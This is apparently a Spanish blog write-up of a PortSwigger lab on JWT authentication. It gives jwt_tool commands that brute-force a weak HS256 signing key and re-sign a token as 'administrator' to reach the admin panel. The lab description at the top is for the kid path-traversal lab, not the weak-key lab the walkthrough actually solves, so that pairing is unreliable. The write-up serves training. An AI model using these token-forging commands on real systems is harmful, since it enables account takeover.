JWT authentication bypass via kid header path traversal writeup

Descripción

This lab uses a JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem.

To solve the lab, forge a JWT that gives you access to the admin panel at /admin, then delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

JWT authentication bypass via weak signing key writeup

Entramos al laboratorio, vamos a ‘My account’ y al iniciar sesión veremos que se nos ha insertado en el navegador una cookie JWT:

Sabemos que es un JWT debido a que está separada por 2 puntos. La descripción del laboratorio nos dice que debemos de realizar un ataque de fuerza bruta sobre su firma para obtener la clave y poder cambiar su contenido y volver a firmarla. Para ello primero debemos de saber cuál ha sido el algoritmo con el que se ha firmado. Nos llevaremos el JWT a jwt.io:

Vemos que el algoritmo ha sido ‘HMAC con SHA256’, que es vulnerable al ataque de fuerza bruta. Tomaremos la lista de posibles contraseñas que nos ha dado PortSwigger y usaremos jwt_tool para averiguar la correcta:

python3 jwt_tool.py eyJraWQiOiJiOGRjYTU0Mi1lY2E4LTQ1MzgtYmUxZC1iYTRkNTRhNDViMTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNzE5NTIwMCwic3ViIjoid2llbmVyIn0.G-rkD1-azf9Ox60jAMfFqaIec-ioN8W65UfLEl3gT_c -C -d dictionary.txt

Nota: ‘dictionary.txt’ contiene la lista de posibles contraseñas proporcionadas por PortSwigger.

Ahora que sabemos que la contraseña es ‘secret1’, podemos cambiar el contenido del JWT:

python3 jwt_tool.py eyJraWQiOiJiOGRjYTU0Mi1lY2E4LTQ1MzgtYmUxZC1iYTRkNTRhNDViMTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNzE5NTIwMCwic3ViIjoid2llbmVyIn0.G-rkD1-azf9Ox60jAMfFqaIec-ioN8W65UfLEl3gT_c -T -S hs256 -p 'secret1'

Cambiaremos de ‘sub’ el valor ‘wiener’ por ‘administrator’ y lo firmaremos. Al cambiar el token del navegador por el generado podremos acceder al ‘Admin panel’, borrar al usuario ‘carlos’ y completar el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *